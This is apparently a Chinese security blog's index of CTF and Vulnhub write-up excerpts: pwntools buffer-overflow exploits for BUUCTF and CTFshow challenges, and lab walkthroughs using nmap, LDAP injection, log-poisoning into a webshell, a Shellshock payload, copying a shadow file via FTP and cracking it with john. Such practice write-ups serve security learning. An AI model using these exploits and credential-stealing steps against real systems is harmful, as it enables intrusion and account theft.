wubba lubba dub dub.
post @ 2025-01-15

配置vps

使用如下命令在vps端安装必要依赖:

apt-get install openvpn openssh-server

然后注意在云控制台设置防火墙配置,如果设置后防火墙仍然没有关闭,可以使用:

ufw disable

命令来彻底关闭防火墙,然后修改/etc/ssh/sshd_config文件,添加如下内容:

AllowTcpForwarding yes

添加完后保存重启vps,重启后确保ssh可以连接(知道密码 使用密码连接)即可

配置本地机器

法一:sshuttle

Read More
post @ 2025-01-15

来源BUUCTF

检查安全设置和类型

拿到先放到checksec里面检查安全设置和类型,发现保护较为薄弱,并且是64位小端序

静态分析

静态分析发现是一个很简单的栈溢出,payload如下,这里主要介绍堆栈平衡的特性(ubuntu18后的新特性):

from pwn import *
context(log_level='debug')

#io=process('pwn1')
io=remote("node5.buuoj.cn",27824)

payload=cyclic(0xf+0x8)+p64(0x401187)  # 直接跳转到后门函数的第二行(第一行地址为0x401186,汇编为push,对堆栈平衡有影响,所以跳到第二行)
#payload=cyclic(0xf+0x8) + p64(0x401185)+p64(0x401186)   先跳到任意一个ret汇编语句,然后跟上后门函数地址(第一行)
遇到ubuntu18及以上的环境时需要考虑堆栈平衡,可以选用以上任意一种方法来平衡

io.sendline(payload)
io.interactive()
Read More
post @ 2025-01-14

来源BUUCTF

检查安全设置和类型

拿到先放到checksec里面检查安全设置和类型,发现保护较为薄弱,并且是32位小端序

静态分析


在IDA中查看vuln函数,发现我们只能输入32字节大小的字符(s只有32字节),而覆盖栈需要0x3C个字符,显然是没法溢出的,仔细观察,看到大写I和小写you,经过猜测和测试发现当我们给程序输入一个大写I,程序会将其替换为you,这样我们就可以构造足够的字符来溢出了,下面给出payload:

from pwn import *
context(log_level='debug')

#io=process('./pwn1_sctf_2016')    # 本地打通
io=remote("node5.buuoj.cn",28285)  # 远程打通

payload=b'I'*21+b'a'+p32(0x8048F0E) # 需要64个字符来填满,21个I能换63个字符加一个a,后面是后门函数地址

#io.recvline()
io.sendline(payload)
io.interactive()
Read More
post @ 2025-01-12

symfonos-5

来源:Vulnhub

难度:Intermediate

nmap -O -A -Pn -sV -sS -p- 192.168.36.0/24 -vv -exclude 192.168.36.132
# 对除了192.168.36.132之外的目标进行全端口SYN半开扫描,探测系统和服务

发现目标192.168.36.137开启了80,22,389,636端口,对应web,ssh,ldap,ldap_ssl服务
使用dirb扫描发现登录口,结合ldap服务,猜测是ldap注入漏洞,此处简要做一下漏洞介绍:


ldap服务是轻量级目录访问协议,用于在目录的资源中搜索和查询,类似理解为数据库。既然需要查询,就有它自己的查询语句,就像关系型数据库有sql语句来查询,此时就想到了sql注入,对于登录框,也许也存在类似于sql注入的漏洞。于是特意查了一下是否存在ldap的注入,也确实存在这样的注入漏洞。

此处断开,简(我)单(也)介(只)绍(会)一(这)下(些)ldap注入漏洞,内容不一定正确,都是我自己的理解:

既然类似于sql注入,学会sql注入,就要先了解sql语句。学习ldap注入漏洞,就要学会其基本语法。

先介绍基本语法:

Read More
post @ 2025-01-11

symfonos-4

来源:Vulnhub

难度:Intermediate

nmap -O -A -Pn -sV -sS -p- 192.168.7.0/24 -vv -exclude 192.168.7.133
# 对除了192.168.7.133之外的目标进行全端口SYN半开扫描,探测系统和服务

发现目标192.168.36.137开启了80,22端口,对应web,ssh服务
使用dirb扫描发现登陆口:

dirb http://192.168.7.132/ /usr/share/dirb/wordlists/big.txt -r -X .php,.zip,.rar

---- Scanning URL: http://192.168.7.132/ ----
+ http://192.168.7.132/atlantis.php (CODE:200|SIZE:1718)


使用万能密码登录成功:

发现可能存在文件包含,尝试包含/etc/passwd和ssh日志文件(开启了ssh服务)

http://192.168.7.132/sea.php?file=../../../../var/log/auth  # 包含ssh日志

发现可以包含ssh日志,便尝试通过nc连接ssh往ssh日志里写webshell:

这里由于环境原因,要用system和post写一句话
尝试包含日志执行命令:

getshell后上传脚本尝试提权,发现本地127.0.0.1地址的8080端口开着一个web服务,使用socat将其转发到另一个端口:

socat TCP-LISTEN:8000,fork TCP:127.0.0.1:8080

# 将本地8080端口转发到本地8000端口(0.0.0.0:8000)
Read More
post @ 2025-01-02

symfonos-3

来源:Vulnhub

难度:Intermediate

nmap -O -A -Pn -sV -sS -p- 192.168.36.0/24 -vv -exclude 192.168.36.1

# 对除了192.168.36.1之外的目标进行全端口SYN半开扫描,探测系统和服务

发现目标192.168.36.137开启了80,22,21端口,对应web,ssh,ftp服务
尝试阵队ftp服务的攻击没有效果,尝试网页目录爆破,发现/cgi-bin``````/gate``````index.html等目录,递归扫描发现/gate/目录后貌似没有东西,尝试爆破/cgi-bin(403目录爆破:遇到403可以尝试在后面爆破,可能可以拼出200的目录),使用dirbuster(只有dirbuster才跑的出来,字典太大,需要多线程),直接在终端输入dirbuster打开,并如下图配置:

反选Recursive取消递归,爆破出/cgi-bin/underworld目录,在/cgi-bin-underworld/后拼接任何路径均返回服务器执行uptime的结果

命令执行+cgi-bin,有经验的师傅可能已经可以才出来是旧版本bash导致的shellshock了
Shellshock漏洞,又称bashdoor,bash4.3版本之前都存在这个漏洞,漏洞编号为CVE-2014-6271,各大安全平台均有详细分析说明
具体漏洞说明请看:https://blog.csdn.net/weixin_43864567/article/details/115723566


这里仅作简要说明:
Bash解释器在解释环境变量时,不仅仅是简单地替换变量的值,它还会对变量的内容进行解释,包括其中可能存在的特殊字符和命令。这就是为什么插入恶意函数之后,这些函数能够被执行的原因。

在Shellshock漏洞中,攻击者可以通过在环境变量中插入恶意代码,例如函数定义,然后触发Bash解释器执行这些代码。这是因为Bash解释器在解释环境变量时,并不仅仅是将变量的值替换为文本,而是会尝试解释其中的特殊字符和命令。

如果在环境变量中插入了以下内容:

env FUNC=’() { echo “66666!”; }; echo “shellshock” ‘

Read More
post @ 2024-12-31

prime-1

来源:Vulnhub

难度:Eazy

nmap -O -A -Pn -sV -sS -p- 192.168.36.0/24 -vv -exclude 192.168.36.1

# 对除了192.168.36.1之外的目标进行全端口SYN半开扫描,探测系统和服务

发现目标192.168.36.136开启了80,22端口,对应web,ssh服务
访问80端口,发现有网页,尝试爆破目录:

dirb http://192.168.36.136/  # 默认部分递归扫描
dirb http://192.168.36.136/ -r  # 不递归扫描

发现wordpress,dev等路径,访问/dev路径提示要更加仔细的挖掘,且下一个敏感文件的文件名为location.txt,尝试指定后缀文件爆破(dirb默认指定爆破的很有限)

dirb http://192.168.36.136/ -X .php,.txt
# 指定用php和txt后缀字典爆破

爆破出来secret.txt文件,访问提示使用wfuzz对之前爆出来的php文件进行参数爆破:

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://192.168.36.136/index.php?FUZZ=something
Read More
post @ 2024-12-20

来源CTFshow

检查安全设置和类型

拿到先放到checksec里面检查安全设置和类型:

可以看到没有开启保护,并且是32位小端序

IDA

丢进ida,发现get函数,直接检查,发现s这个字符串长度为九个字节,但是函数却允许输入50个字节,直接点击s可以进入下图界面检查:

可以看到,从s的首地址00000000(相对)处开辟了九个字节的空间,即到-00000009,又因为栈是向下生长(向着正生长),而且get允许输入超过九个字节的字符,我们就可以覆盖r处的返回地址
查看stack函数的地址为0x804850F,所以有payload和exp如下:

from pwn import * # 引入pwntools
p = remote("pwn.challenge.ctf.show",28245) # 连接远程
payload=b"a"*13+p32(0x804850F) # b'a'*13用于覆盖9+4=13个字节,p32函数则构造了stack的返回地址
p.send(payload) # 发送payload
p.interactive() # 交给用户操作(提供交互shell)

得到shell后即可查看flag文件

Read More
post @ 2024-12-19

symfonos-2

来源:Vulnhub

难度:Intermediate

nmap -O -A -Pn -sV -sS -p- 192.168.36.0/24 -vv -exclude 192.168.36.1

# 对除了192.168.36.1之外的目标进行全端口SYN半开扫描,探测系统和服务

发现目标192.168.36.135开启了80,445,22,21等端口,对应web,smb,ssh,ftp等服务
访问80端口,发现有网页,尝试爆破目录无果
使用命令

smbclient \\\\192.168.36.135\\anonymous

尝试匿名登录smb服务(空密码)
成功登录后dir查看目录发现有一个backup文件夹,下面有个log.txt文件,从中我们们看到一些敏感信息:



发现/var/backups/shadow.bak这个文件里面存放着加密后的用户密码,并且存在一个用户aeolus,且匿名smb登录的目录是/home/aeolus/share
继续使用enum4linux工具爆破出了另一个用户名,不过并没有多大作用
没有思路,使用searchsploit发现ftp服务似乎有文件copy漏洞,尝试复现(一开始尝试使用searchsploit的payload复制一句话到web目录,但因为web目录没有写权限而失败)
我们首先使用ftp 192.168.36.135命令连接ftp服务器,使用匿名账户,随意输入密码发现身份认证失败,但是仍然连接着
然后使用site cpfr /var/backups/shadow.bak选择来源文件
再使用site cpto /home/aeolus/share/shadow.bak选择目的文件,即将shadow.bak拷贝到我们能访问的smb目录下,下载后cat发现被加密后的各个用户的密码:

尝试直接拿密码hash去在线解密网站解密,失败,遂使用john爆破,命令如下:

john --wordlist=/usr/share/wordlists/rockyou.txt shadow.bak

# 注意这里有个坑 每次使用john之前 要把运行目录下的.john/john.pot文件给删掉 否则john无法正确爆破


解得密码sergioteamo,马上尝试ssh登录得到shell,进入后尝试使用les.sh和linpeas.sh等提权脚本发现作用不大,尝试获取端口信息:
1.尝试使用脚本获取端口信息,无果
2.尝试直接netstat,无法运行
所以此时,我们还剩下一个选项,就是尝试得到一个metepreter session然后来查看端口开放状态
打开msfconsole,使用命令

use auxiliary/scanner/ssh/ssh_login  # 密码登录
use auxiliary/scanner/ssh/ssh_login_pubkey  # 公私钥登录
Read More
post @ 2024-12-16

symfonos-1

来源:Vulnhub

难度:Intermediate

nmap -O -A -Pn -sV -sS -p- 192.168.36.0/24 -vv -exclude 192.168.36.1

# 对除了192.168.36.1之外的目标进行全端口SYN半开扫描,探测系统和服务

发现目标192.168.36.129开启了80,445,22,25等端口,对应web,smb,ssh,smtp等服务
访问80端口,发现有网页,尝试爆破目录无果
使用命令

smbclient \\\\192.168.36.129\\anonymous

尝试匿名登录smb服务(空密码)
成功登录后dir查看目录发现有一个attention.txt文件:

get attention.txt

将文件下载到当前目录,使用cat查看内容:

发现了三个可能的密码:

epidioko
qwerty
baseball
Read More
⬆︎TOP